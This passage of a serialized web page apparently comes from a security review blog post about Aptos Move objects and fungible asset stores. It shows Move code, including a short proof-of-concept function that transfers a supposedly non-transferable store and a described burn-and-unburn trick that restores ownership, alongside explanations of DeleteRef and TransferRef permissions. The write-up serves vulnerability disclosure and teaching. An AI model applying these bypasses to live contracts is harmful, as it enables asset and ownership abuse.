current_address",{"type":25,"tag":271,"props":77674,"children":77675},{"style":13603},[77676],{"type":30,"value":16155},{"type":25,"tag":271,"props":77678,"children":77679},{"style":13598},[77680],{"type":30,"value":75608},{"type":25,"tag":271,"props":77682,"children":77683},{"style":13603},[77684],{"type":30,"value":1860},{"type":25,"tag":271,"props":77686,"children":77687},{"style":13625},[77688],{"type":30,"value":77689},"owner;\n",{"type":25,"tag":271,"props":77691,"children":77692},{"class":13593,"line":16744},[77693],{"type":25,"tag":271,"props":77694,"children":77695},{"style":13625},[77696],{"type":30,"value":52107},{"type":25,"tag":271,"props":77698,"children":77699},{"class":13593,"line":16761},[77700],{"type":25,"tag":271,"props":77701,"children":77702},{"style":13625},[77703],{"type":30,"value":17058},{"type":25,"tag":26,"props":77705,"children":77706},{},[77707,77709,77714],{"type":30,"value":77708},"This could allow for bypassing assumptions about ",{"type":25,"tag":264,"props":77710,"children":77712},{"className":77711},[],[77713],{"type":30,"value":75190},{"type":30,"value":77715}," true ownership and its non-transferability.",{"type":25,"tag":7764,"props":77717,"children":77719},{"className":13586,"code":77718,"language":13585,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[77720],{"type":25,"tag":264,"props":77721,"children":77722},{"__ignoreMap":7},[77723,77781,77834,77878,77926,77933,77978,77986],{"type":25,"tag":271,"props":77724,"children":77725},{"class":13593,"line":13594},[77726,77730,77734,77739,77743,77748,77752,77756,77760,77764,77769,77773,77777],{"type":25,"tag":271,"props":77727,"children":77728},{"style":13598},[77729],{"type":30,"value":10331},{"type":25,"tag":271,"props":77731,"children":77732},{"style":13598},[77733],{"type":30,"value":19335},{"type":25,"tag":271,"props":77735,"children":77736},{"style":13620},[77737],{"type":30,"value":77738}," untransferable_transfer",{"type":25,"tag":271,"props":77740,"children":77741},{"style":13625},[77742],{"type":30,"value":394},{"type":25,"tag":271,"props":77744,"children":77745},{"style":13598},[77746],{"type":30,"value":77747},"caller",{"type":25,"tag":271,"props":77749,"children":77750},{"style":13603},[77751],{"type":30,"value":359},{"type":25,"tag":271,"props":77753,"children":77754},{"style":13603},[77755],{"type":30,"value":14341},{"type":25,"tag":271,"props":77757,"children":77758},{"style":13598},[77759],{"type":30,"value":20269},{"type":25,"tag":271,"props":77761,"children":77762},{"style":13625},[77763],{"type":30,"value":44},{"type":25,"tag":271,"props":77765,"children":77766},{"style":13598},[77767],{"type":30,"value":77768},"receipient",{"type":25,"tag":271,"props":77770,"children":77771},{"style":13603},[77772],{"type":30,"value":359},{"type":25,"tag":271,"props":77774,"children":77775},{"style":13598},[77776],{"type":30,"value":19378},{"type":25,"tag":271,"props":77778,"children":77779},{"style":13625},[77780],{"type":30,"value":27925},{"type":25,"tag":271,"props":77782,"children":77783},{"class":13593,"line":11641},[77784,77788,77793,77797,77801,77805,77810,77814,77818,77822,77826,77830],{"type":25,"tag":271,"props":77785,"children":77786},{"style":14289},[77787],{"type":30,"value":16140},{"type":25,"tag":271,"props":77789,"children":77790},{"style":13598},[77791],{"type":30,"value":77792}," constructor_ref",{"type":25,"tag":271,"props":77794,"children":77795},{"style":13603},[77796],{"type":30,"value":16155},{"type":25,"tag":271,"props":77798,"children":77799},{"style":13625},[77800],{"type":30,"value":75608},{"type":25,"tag":271,"props":77802,"children":77803},{"style":13603},[77804],{"type":30,"value":13617},{"type":25,"tag":271,"props":77806,"children":77807},{"style":13620},[77808],{"type":30,"value":77809},"create_object",{"type":25,"tag":271,"props":77811,"children":77812},{"style":13625},[77813],{"type":30,"value":20323},{"type":25,"tag":271,"props":77815,"children":77816},{"style":13603},[77817],{"type":30,"value":13617},{"type":25,"tag":271,"props":77819,"children":77820},{"style":13620},[77821],{"type":30,"value":20332},{"type":25,"tag":271,"props":77823,"children":77824},{"style":13625},[77825],{"type":30,"value":394},{"type":25,"tag":271,"props":77827,"children":77828},{"style":13598},[77829],{"type":30,"value":77747},{"type":25,"tag":271,"props":77831,"children":77832},{"style":13625},[77833],{"type":30,"value":20346},{"type":25,"tag":271,"props":77835,"children":77836},{"class":13593,"line":14354},[77837,77841,77845,77849,77853,77857,77862,77866,77870,77874],{"type":25,"tag":271,"props":77838,"children":77839},{"style":14289},[77840],{"type":30,"value":16140},{"type":25,"tag":271,"props":77842,"children":77843},{"style":13598},[77844],{"type":30,"value":77195},{"type":25,"tag":271,"props":77846,"children":77847},{"style":13603},[77848],{"type":30,"value":16155},{"type":25,"tag":271,"props":77850,"children":77851},{"style":13625},[77852],{"type":30,"value":75608},{"type":25,"tag":271,"props":77854,"children":77855},{"style":13603},[77856],{"type":30,"value":13617},{"type":25,"tag":271,"props":77858,"children":77859},{"style":13620},[77860],{"type":30,"value":77861},"address_from_constructor_ref",{"type":25,"tag":271,"props":77863,"children":77864},{"style":13625},[77865],{"type":30,"value":394},{"type":25,"tag":271,"props":77867,"children":77868},{"style":13603},[77869],{"type":30,"value":13632},{"type":25,"tag":271,"props":77871,"children":77872},{"style":13598},[77873],{"type":30,"value":76042},{"type":25,"tag":271,"props":77875,"children":77876},{"style":13625},[77877],{"type":30,"value":13665},{"type":25,"tag":271,"props":77879,"children":77880},{"class":13593,"line":14391},[77881,77885,77889,77893,77898,77902,77906,77910,77914,77918,77922],{"type":25,"tag":271,"props":77882,"children":77883},{"style":14289},[77884],{"type":30,"value":16140},{"type":25,"tag":271,"props":77886,"children":77887},{"style":13598},[77888],{"type":30,"value":18962},{"type":25,"tag":271,"props":77890,"children":77891},{"style":13603},[77892],{"type":30,"value":16155},{"type":25,"tag":271,"props":77894,"children":77895},{"style":13625},[77896],{"type":30,"value":77897}," primary_fungible_store",{"type":25,"tag":271,"props":77899,"children":77900},{"style":13603},[77901],{"type":30,"value":13617},{"type":25,"tag":271,"props":77903,"children":77904},{"style":13620},[77905],{"type":30,"value":75934},{"type":25,"tag":271,"props":77907,"children":77908},{"style":13625},[77909],{"type":30,"value":394},{"type":25,"tag":271,"props":77911,"children":77912},{"style":13598},[77913],{"type":30,"value":77241},{"type":25,"tag":271,"props":77915,"children":77916},{"style":13625},[77917],{"type":30,"value":44},{"type":25,"tag":271,"props":77919,"children":77920},{"style":13620},[77921],{"type":30,"value":75890},{"type":25,"tag":271,"props":77923,"children":77924},{"style":13625},[77925],{"type":30,"value":28546},{"type":25,"tag":271,"props":77927,"children":77928},{"class":13593,"line":14400},[77929],{"type":25,"tag":271,"props":77930,"children":77931},{"emptyLinePlaceholder":18},[77932],{"type":30,"value":16829},{"type":25,"tag":271,"props":77934,"children":77935},{"class":13593,"line":16406},[77936,77941,77945,77950,77954,77958,77962,77966,77970,77974],{"type":25,"tag":271,"props":77937,"children":77938},{"style":13625},[77939],{"type":30,"value":77940},"    object",{"type":25,"tag":271,"props":77942,"children":77943},{"style":13603},[77944],{"type":30,"value":13617},{"type":25,"tag":271,"props":77946,"children":77947},{"style":13620},[77948],{"type":30,"value":77949},"transfer_raw",{"type":25,"tag":271,"props":77951,"children":77952},{"style":13625},[77953],{"type":30,"value":394},{"type":25,"tag":271,"props":77955,"children":77956},{"style":13598},[77957],{"type":30,"value":77747},{"type":25,"tag":271,"props":77959,"children":77960},{"style":13625},[77961],{"type":30,"value":44},{"type":25,"tag":271,"props":77963,"children":77964},{"style":13598},[77965],{"type":30,"value":77241},{"type":25,"tag":271,"props":77967,"children":77968},{"style":13625},[77969],{"type":30,"value":44},{"type":25,"tag":271,"props":77971,"children":77972},{"style":13598},[77973],{"type":30,"value":77768},{"type":25,"tag":271,"props":77975,"children":77976},{"style":13625},[77977],{"type":30,"value":13665},{"type":25,"tag":271,"props":77979,"children":77980},{"class":13593,"line":16434},[77981],{"type":25,"tag":271,"props":77982,"children":77983},{"style":14385},[77984],{"type":30,"value":77985},"    //receipient can interact with store by using their signer\n",{"type":25,"tag":271,"props":77987,"children":77988},{"class":13593,"line":16447},[77989],{"type":25,"tag":271,"props":77990,"children":77991},{"style":13625},[77992],{"type":30,"value":17058},{"type":25,"tag":26,"props":77994,"children":77995},{},[77996,77998,78005],{"type":30,"value":77997},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":25,"tag":83,"props":77999,"children":78002},{"href":78000,"rel":78001},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[9066],[78003],{"type":30,"value":78004},"edge case",{"type":30,"value":78006}," involving the transfer of a non-transferable fungible store.",{"type":25,"tag":7764,"props":78008,"children":78010},{"className":13586,"code":78009,"language":13585,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[78011],{"type":25,"tag":264,"props":78012,"children":78013},{"__ignoreMap":7},[78014,78079,78140,78187,78198,78233,78253,78260,78267,78282,78289,78317],{"type":25,"tag":271,"props":78015,"children":78016},{"class":13593,"line":13594},[78017,78021,78025,78030,78034,78038,78042,78047,78051,78055,78059,78063,78067,78071,78075],{"type":25,"tag":271,"props":78018,"children":78019},{"style":13598},[78020],{"type":30,"value":10331},{"type":25,"tag":271,"props":78022,"children":78023},{"style":13598},[78024],{"type":30,"value":19335},{"type":25,"tag":271,"props":78026,"children":78027},{"style":13620},[78028],{"type":30,"value":78029}," transfer_with_ref",{"type":25,"tag":271,"props":78031,"children":78032},{"style":13625},[78033],{"type":30,"value":394},{"type":25,"tag":271,"props":78035,"children":78036},{"style":14289},[78037],{"type":30,"value":76451},{"type":25,"tag":271,"props":78039,"children":78040},{"style":13603},[78041],{"type":30,"value":359},{"type":25,"tag":271,"props":78043,"children":78044},{"style":13609},[78045],{"type":30,"value":78046}," LinearTransferRef",{"type":25,"tag":271,"props":78048,"children":78049},{"style":13625},[78050],{"type":30,"value":44},{"type":25,"tag":271,"props":78052,"children":78053},{"style":13598},[78054],{"type":30,"value":45840},{"type":25,"tag":271,"props":78056,"children":78057},{"style":13603},[78058],{"type":30,"value":359},{"type":25,"tag":271,"props":78060,"children":78061},{"style":13598},[78062],{"type":30,"value":19378},{"type":25,"tag":271,"props":78064,"children":78065},{"style":13625},[78066],{"type":30,"value":14406},{"type":25,"tag":271,"props":78068,"children":78069},{"style":13598},[78070],{"type":30,"value":19472},{"type":25,"tag":271,"props":78072,"children":78073},{"style":13609},[78074],{"type":30,"value":77088},{"type":25,"tag":271,"props":78076,"children":78077},{"style":13625},[78078],{"type":30,"value":16431},{"type":25,"tag":271,"props":78080,"children":78081},{"class":13593,"line":11641},[78082,78086,78090,78094,78098,78102,78107,78111,78115,78119,78123,78127,78131,78135],{"type":25,"tag":271,"props":78083,"children":78084},{"style":13620},[78085],{"type":30,"value":75458},{"type":25,"tag":271,"props":78087,"children":78088},{"style":13625},[78089],{"type":30,"value":394},{"type":25,"tag":271,"props":78091,"children":78092},{"style":13603},[78093],{"type":30,"value":33742},{"type":25,"tag":271,"props":78095,"children":78096},{"style":13598},[78097],{"type":30,"value":19828},{"type":25,"tag":271,"props":78099,"children":78100},{"style":13625},[78101],{"type":30,"value":14307},{"type":25,"tag":271,"props":78103,"children":78104},{"style":13609},[78105],{"type":30,"value":78106},"Untransferable",{"type":25,"tag":271,"props":78108,"children":78109},{"style":13625},[78110],{"type":30,"value":20732},{"type":25,"tag":271,"props":78112,"children":78113},{"style":14289},[78114],{"type":30,"value":76451},{"type":25,"tag":271,"props":78116,"children":78117},{"style":13603},[78118],{"type":30,"value":1860},{"type":25,"tag":271,"props":78120,"children":78121},{"style":14289},[78122],{"type":30,"value":26836},{"type":25,"tag":271,"props":78124,"children":78125},{"style":13625},[78126],{"type":30,"value":76047},{"type":25,"tag":271,"props":78128,"children":78129},{"style":13603},[78130],{"type":30,"value":13617},{"type":25,"tag":271,"props":78132,"children":78133},{"style":13620},[78134],{"type":30,"value":76933},{"type":25,"tag":271,"props":78136,"children":78137},{"style":13625},[78138],{"type":30,"value":78139},"(ENOT_MOVABLE));\n",{"type":25,"tag":271,"props":78141,"children":78142},{"class":13593,"line":14354},[78143,78147,78151,78155,78159,78163,78167,78171,78175,78179,78183],{"type":25,"tag":271,"props":78144,"children":78145},{"style":14289},[78146],{"type":30,"value":16140},{"type":25,"tag":271,"props":78148,"children":78149},{"style":13598},[78150],{"type":30,"value":75608},{"type":25,"tag":271,"props":78152,"children":78153},{"style":13603},[78154],{"type":30,"value":16155},{"type":25,"tag":271,"props":78156,"children":78157},{"style":13598},[78158],{"type":30,"value":20718},{"type":25,"tag":271,"props":78160,"children":78161},{"style":13625},[78162],{"type":30,"value":14307},{"type":25,"tag":271,"props":78164,"children":78165},{"style":13609},[78166],{"type":30,"value":77583},{"type":25,"tag":271,"props":78168,"children":78169},{"style":13625},[78170],{"type":30,"value":20732},{"type":25,"tag":271,"props":78172,"children":78173},{"style":14289},[78174],{"type":30,"value":76451},{"type":25,"tag":271,"props":78176,"children":78177},{"style":13603},[78178],{"type":30,"value":1860},{"type":25,"tag":271,"props":78180,"children":78181},{"style":14289},[78182],{"type":30,"value":26836},{"type":25,"tag":271,"props":78184,"children":78185},{"style":13625},[78186],{"type":30,"value":13665},{"type":25,"tag":271,"props":78188,"children":78189},{"class":13593,"line":14391},[78190,78194],{"type":25,"tag":271,"props":78191,"children":78192},{"style":13620},[78193],{"type":30,"value":75458},{"type":25,"tag":271,"props":78195,"children":78196},{"style":13625},[78197],{"type":30,"value":16609},{"type":25,"tag":271,"props":78199,"children":78200},{"class":13593,"line":14400},[78201,78206,78210,78215,78219,78224,78228],{"type":25,"tag":271,"props":78202,"children":78203},{"style":13598},[78204],{"type":30,"value":78205},"        object",{"type":25,"tag":271,"props":78207,"children":78208},{"style":13603},[78209],{"type":30,"value":1860},{"type":25,"tag":271,"props":78211,"children":78212},{"style":13625},[78213],{"type":30,"value":78214},"owner ",{"type":25,"tag":271,"props":78216,"children":78217},{"style":13603},[78218],{"type":30,"value":21696},{"type":25,"tag":271,"props":78220,"children":78221},{"style":14289},[78222],{"type":30,"value":78223}," ref",{"type":25,"tag":271,"props":78225,"children":78226},{"style":13603},[78227],{"type":30,"value":1860},{"type":25,"tag":271,"props":78229,"children":78230},{"style":13625},[78231],{"type":30,"value":78232},"owner,\n",{"type":25,"tag":271,"props":78234,"children":78235},{"class":13593,"line":16406},[78236,78241,78245,78249],{"type":25,"tag":271,"props":78237,"children":78238},{"style":13625},[78239],{"type":30,"value":78240},"        error",{"type":25,"tag":271,"props":78242,"children":78243},{"style":13603},[78244],{"type":30,"value":13617},{"type":25,"tag":271,"props":78246,"children":78247},{"style":13620},[78248],{"type":30,"value":76933},{"type":25,"tag":271,"props":78250,"children":78251},{"style":13625},[78252],{"type":30,"value":77617},{"type":25,"tag":271,"props":78254,"children":78255},{"class":13593,"line":16434},[78256],{"type":25,"tag":271,"props":78257,"children":78258},{"style":13625},[78259],{"type":30,"value":56770},{"type":25,"tag":271,"props":78261,"children":78262},{"class":13593,"line":16447},[78263],{"type":25,"tag":271,"props":78264,"children":78265},{"style":13625},[78266],{"type":30,"value":74901},{"type":25,"tag":271,"props":78268,"children":78269},{"class":13593,"line":16465},[78270,78274,78278],{"type":25,"tag":271,"props":78271,"children":78272},{"style":13625},[78273],{"type":30,"value":75832},{"type":25,"tag":271,"props":78275,"children":78276},{"style":13603},[78277],{"type":30,"value":22714},{"type":25,"tag":271,"props":78279,"children":78280},{"style":13625},[78281],{"type":30,"value":24897},{"type":25,"tag":271,"props":78283,"children":78284},{"class":13593,"line":16486},[78285],{"type":25,"tag":271,"props":78286,"children":78287},{"style":13625},[78288],{"type":30,"value":74901},{"type":25,"tag":271,"props":78290,"children":78291},{"class":13593,"line":16495},[78292,78296,78300,78304,78308,78313],{"type":25,"tag":271,"props":78293,"children":78294},{"style":13598},[78295],{"type":30,"value":77940},{"type":25,"tag":271,"props":78297,"children":78298},{"style":13603},[78299],{"type":30,"value":1860},{"type":25,"tag":271,"props":78301,"children":78302},{"style":13625},[78303],{"type":30,"value":78214},{"type":25,"tag":271,"props":78305,"children":78306},{"style":13603},[78307],{"type":30,"value":1065},{"type":25,"tag":271,"props":78309,"children":78310},{"style":13598},[78311],{"type":30,"value":78312}," to",{"type":25,"tag":271,"props":78314,"children":78315},{"style":13625},[78316],{"type":30,"value":16165},{"type":25,"tag":271,"props":78318,"children":78319},{"class":13593,"line":16744},[78320],{"type":25,"tag":271,"props":78321,"children":78322},{"style":13625},[78323],{"type":30,"value":17058},{"type":25,"tag":26,"props":78325,"children":78326},{},[78327,78329,78334,78336,78341],{"type":30,"value":78328},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":25,"tag":264,"props":78330,"children":78332},{"className":78331},[],[78333],{"type":30,"value":76986},{"type":30,"value":78335},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":25,"tag":264,"props":78337,"children":78339},{"className":78338},[],[78340],{"type":30,"value":20269},{"type":30,"value":78342}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":25,"tag":247,"props":78344,"children":78346},{"id":78345},"references",[78347],{"type":30,"value":78348},"References",{"type":25,"tag":26,"props":78350,"children":78351},{},[78352,78357,78359,78365,78367,78372,78374,78379],{"type":25,"tag":264,"props":78353,"children":78355},{"className":78354},[],[78356],{"type":30,"value":78348},{"type":30,"value":78358}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":25,"tag":264,"props":78360,"children":78362},{"className":78361},[],[78363],{"type":30,"value":78364},"Refs",{"type":30,"value":78366}," are based on the ",{"type":25,"tag":264,"props":78368,"children":78370},{"className":78369},[],[78371],{"type":30,"value":61967},{"type":30,"value":78373}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":25,"tag":264,"props":78375,"children":78377},{"className":78376},[],[78378],{"type":30,"value":61967},{"type":30,"value":78380}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":25,"tag":26,"props":78382,"children":78383},{},[78384,78386,78391,78393,78398,78399,78405,78407,78412,78414,78419],{"type":30,"value":78385},"Let's get back to the ",{"type":25,"tag":264,"props":78387,"children":78389},{"className":78388},[],[78390],{"type":30,"value":75190},{"type":30,"value":78392}," deletion example. Both ",{"type":25,"tag":264,"props":78394,"children":78396},{"className":78395},[],[78397],{"type":30,"value":76475},{"type":30,"value":12218},{"type":25,"tag":264,"props":78400,"children":78402},{"className":78401},[],[78403],{"type":30,"value":78404},"fungible_asset::remove_store",{"type":30,"value":78406}," use the same object-specific ",{"type":25,"tag":264,"props":78408,"children":78410},{"className":78409},[],[78411],{"type":30,"value":76407},{"type":30,"value":78413}," permission. It can be created only during object creation. There is no separate ",{"type":25,"tag":264,"props":78415,"children":78417},{"className":78416},[],[78418],{"type":30,"value":76407},{"type":30,"value":78420}," for fungible assets.",{"type":25,"tag":7764,"props":78422,"children":78423},{"className":13586,"code":76357,"language":13585,"meta":7,"style":7},[78424],{"type":25,"tag":264,"props":78425,"children":78426},{"__ignoreMap":7},[78427,78434,78473,78480,78487],{"type":25,"tag":271,"props":78428,"children":78429},{"class":13593,"line":13594},[78430],{"type":25,"tag":271,"props":78431,"children":78432},{"style":14385},[78433],{"type":30,"value":76369},{"type":25,"tag":271,"props":78435,"children":78436},{"class":13593,"line":11641},[78437,78441,78445,78449,78453,78457,78461,78465,78469],{"type":25,"tag":271,"props":78438,"children":78439},{"style":13598},[78440],{"type":30,"value":10331},{"type":25,"tag":271,"props":78442,"children":78443},{"style":13598},[78444],{"type":30,"value":19335},{"type":25,"tag":271,"props":78446,"children":78447},{"style":13620},[78448],{"type":30,"value":76385},{"type":25,"tag":271,"props":78450,"children":78451},{"style":13625},[78452],{"type":30,"value":394},{"type":25,"tag":271,"props":78454,"children":78455},{"style":13598},[78456],{"type":30,"value":76394},{"type":25,"tag":271,"props":78458,"children":78459},{"style":13603},[78460],{"type":30,"value":359},{"type":25,"tag":271,"props":78462,"children":78463},{"style":13603},[78464],{"type":30,"value":14341},{"type":25,"tag":271,"props":78466,"children":78467},{"style":13609},[78468],{"type":30,"value":76407},{"type":25,"tag":271,"props":78470,"children":78471},{"style":13625},[78472],{"type":30,"value":16299},{"type":25,"tag":271,"props":78474,"children":78475},{"class":13593,"line":14354},[78476],{"type":25,"tag":271,"props":78477,"children":78478},{"emptyLinePlaceholder":18},[78479],{"type":30,"value":16829},{"type":25,"tag":271,"props":78481,"children":78482},{"class":13593,"line":14391},[78483],{"type":25,"tag":271,"props":78484,"children":78485},{"style":14385},[78486],{"type":30,"value":76426},{"type":25,"tag":271,"props":78488,"children":78489},{"class":13593,"line":14400},[78490,78494,78498,78502,78506,78510,78514,78518],{"type":25,"tag":271,"props":78491,"children":78492},{"style":13598},[78493],{"type":30,"value":10331},{"type":25,"tag":271,"props":78495,"children":78496},{"style":13598},[78497],{"type":30,"value":19335},{"type":25,"tag":271,"props":78499,"children":78500},{"style":13620},[78501],{"type":30,"value":76442},{"type":25,"tag":271,"props":78503,"children":78504},{"style":13625},[78505],{"type":30,"value":394},{"type":25,"tag":271,"props":78507,"children":78508},{"style":14289},[78509],{"type":30,"value":76451},{"type":25,"tag":271,"props":78511,"children":78512},{"style":13603},[78513],{"type":30,"value":359},{"type":25,"tag":271,"props":78515,"children":78516},{"style":13609},[78517],{"type":30,"value":76460},{"type":25,"tag":271,"props":78519,"children":78520},{"style":13625},[78521],{"type":30,"value":16299},{"type":25,"tag":26,"props":78523,"children":78524},{},[78525,78527,78532,78534,78540],{"type":30,"value":78526},"On the other hand, the \"frozen\" status of a ",{"type":25,"tag":264,"props":78528,"children":78530},{"className":78529},[],[78531],{"type":30,"value":75190},{"type":30,"value":78533}," is toggled using a ",{"type":25,"tag":264,"props":78535,"children":78537},{"className":78536},[],[78538],{"type":30,"value":78539},"TransferRef",{"type":30,"value":78541},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":25,"tag":7764,"props":78543,"children":78545},{"className":13586,"code":78544,"language":13585,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[78546],{"type":25,"tag":264,"props":78547,"children":78548},{"__ignoreMap":7},[78549,78585,78609,78636,78655],{"type":25,"tag":271,"props":78550,"children":78551},{"class":13593,"line":13594},[78552,78556,78560,78565,78569,78573,78577,78581],{"type":25,"tag":271,"props":78553,"children":78554},{"style":13598},[78555],{"type":30,"value":10331},{"type":25,"tag":271,"props":78557,"children":78558},{"style":13598},[78559],{"type":30,"value":19335},{"type":25,"tag":271,"props":78561,"children":78562},{"style":13598},[78563],{"type":30,"value":78564}," set_frozen_flag",{"type":25,"tag":271,"props":78566,"children":78567},{"style":13625},[78568],{"type":30,"value":14307},{"type":25,"tag":271,"props":78570,"children":78571},{"style":13609},[78572],{"type":30,"value":301},{"type":25,"tag":271,"props":78574,"children":78575},{"style":13603},[78576],{"type":30,"value":359},{"type":25,"tag":271,"props":78578,"children":78579},{"style":13598},[78580],{"type":30,"value":19063},{"type":25,"tag":271,"props":78582,"children":78583},{"style":13625},[78584],{"type":30,"value":14324},{"type":25,"tag":271,"props":78586,"children":78587},{"class":13593,"line":11641},[78588,78593,78597,78601,78605],{"type":25,"tag":271,"props":78589,"children":78590},{"style":14289},[78591],{"type":30,"value":78592},"    ref",{"type":25,"tag":271,"props":78594,"children":78595},{"style":13603},[78596],{"type":30,"value":359},{"type":25,"tag":271,"props":78598,"children":78599},{"style":13603},[78600],{"type":30,"value":14341},{"type":25,"tag":271,"props":78602,"children":78603},{"style":13609},[78604],{"type":30,"value":78539},{"type":25,"tag":271,"props":78606,"children":78607},{"style":13625},[78608],{"type":30,"value":14351},{"type":25,"tag":271,"props":78610,"children":78611},{"class":13593,"line":14354},[78612,78616,78620,78624,78628,78632],{"type":25,"tag":271,"props":78613,"children":78614},{"style":13598},[78615],{"type":30,"value":42526},{"type":25,"tag":271,"props":78617,"children":78618},{"style":13603},[78619],{"type":30,"value":359},{"type":25,"tag":271,"props":78621,"children":78622},{"style":13609},[78623],{"type":30,"value":74677},{"type":25,"tag":271,"props":78625,"children":78626},{"style":13625},[78627],{"type":30,"value":14307},{"type":25,"tag":271,"props":78629,"children":78630},{"style":13609},[78631],{"type":30,"value":301},{"type":25,"tag":271,"props":78633,"children":78634},{"style":13625},[78635],{"type":30,"value":19267},{"type":25,"tag":271,"props":78637,"children":78638},{"class":13593,"line":14391},[78639,78643,78647,78651],{"type":25,"tag":271,"props":78640,"children":78641},{"style":13598},[78642],{"type":30,"value":74329},{"type":25,"tag":271,"props":78644,"children":78645},{"style":13603},[78646],{"type":30,"value":359},{"type":25,"tag":271,"props":78648,"children":78649},{"style":13609},[78650],{"type":30,"value":25175},{"type":25,"tag":271,"props":78652,"children":78653},{"style":13625},[78654],{"type":30,"value":14351},{"type":25,"tag":271,"props":78656,"children":78657},{"class":13593,"line":14400},[78658],{"type":25,"tag":271,"props":78659,"children":78660},{"style":13625},[78661],{"type":30,"value":16299},{"type":25,"tag":26,"props":78663,"children":78664},{},[78665,78666,78671,78672,78677],{"type":30,"value":10272},{"type":25,"tag":264,"props":78667,"children":78669},{"className":78668},[],[78670],{"type":30,"value":61967},{"type":30,"value":14096},{"type":25,"tag":264,"props":78673,"children":78675},{"className":78674},[],[78676],{"type":30,"value":78539},{"type":30,"value":78678}," is used to transfer object ownership:",{"type":25,"tag":7764,"props":78680,"children":78682},{"className":13586,"code":78681,"language":13585,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[78683],{"type":25,"tag":264,"props":78684,"children":78685},{"__ignoreMap":7},[78686,78694,78727,78746],{"type":25,"tag":271,"props":78687,"children":78688},{"class":13593,"line":13594},[78689],{"type":25,"tag":271,"props":78690,"children":78691},{"style":14385},[78692],{"type":30,"value":78693},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":25,"tag":271,"props":78695,"children":78696},{"class":13593,"line":11641},[78697,78701,78706,78710,78715,78719,78723],{"type":25,"tag":271,"props":78698,"children":78699},{"style":14289},[78700],{"type":30,"value":22524},{"type":25,"tag":271,"props":78702,"children":78703},{"style":13609},[78704],{"type":30,"value":78705}," TransferRef",{"type":25,"tag":271,"props":78707,"children":78708},{"style":13598},[78709],{"type":30,"value":22533},{"type":25,"tag":271,"props":78711,"children":78712},{"style":13598},[78713],{"type":30,"value":78714}," drop",{"type":25,"tag":271,"props":78716,"children":78717},{"style":13625},[78718],{"type":30,"value":44},{"type":25,"tag":271,"props":78720,"children":78721},{"style":13598},[78722],{"type":30,"value":19072},{"type":25,"tag":271,"props":78724,"children":78725},{"style":13625},[78726],{"type":30,"value":16431},{"type":25,"tag":271,"props":78728,"children":78729},{"class":13593,"line":14354},[78730,78734,78738,78742],{"type":25,"tag":271,"props":78731,"children":78732},{"style":14289},[78733],{"type":30,"value":33906},{"type":25,"tag":271,"props":78735,"children":78736},{"style":13603},[78737],{"type":30,"value":359},{"type":25,"tag":271,"props":78739,"children":78740},{"style":13598},[78741],{"type":30,"value":19378},{"type":25,"tag":271,"props":78743,"children":78744},{"style":13625},[78745],{"type":30,"value":14351},{"type":25,"tag":271,"props":78747,"children":78748},{"class":13593,"line":14391},[78749],{"type":25,"tag":271,"props":78750,"children":78751},{"style":13625},[78752],{"type":30,"value":17058},{"type":25,"tag":26,"props":78754,"children":78755},{},[78756,78758,78763],{"type":30,"value":78757},"While the fungible asset's ",{"type":25,"tag":264,"props":78759,"children":78761},{"className":78760},[],[78762],{"type":30,"value":78539},{"type":30,"value":78764}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":25,"tag":7764,"props":78766,"children":78768},{"className":13586,"code":78767,"language":13585,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[78769],{"type":25,"tag":264,"props":78770,"children":78771},{"__ignoreMap":7},[78772,78780,78788,78819,78846],{"type":25,"tag":271,"props":78773,"children":78774},{"class":13593,"line":13594},[78775],{"type":25,"tag":271,"props":78776,"children":78777},{"style":14385},[78778],{"type":30,"value":78779},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":25,"tag":271,"props":78781,"children":78782},{"class":13593,"line":11641},[78783],{"type":25,"tag":271,"props":78784,"children":78785},{"style":14385},[78786],{"type":30,"value":78787},"/// and allow the holder of TransferRef to transfer fungible assets from any 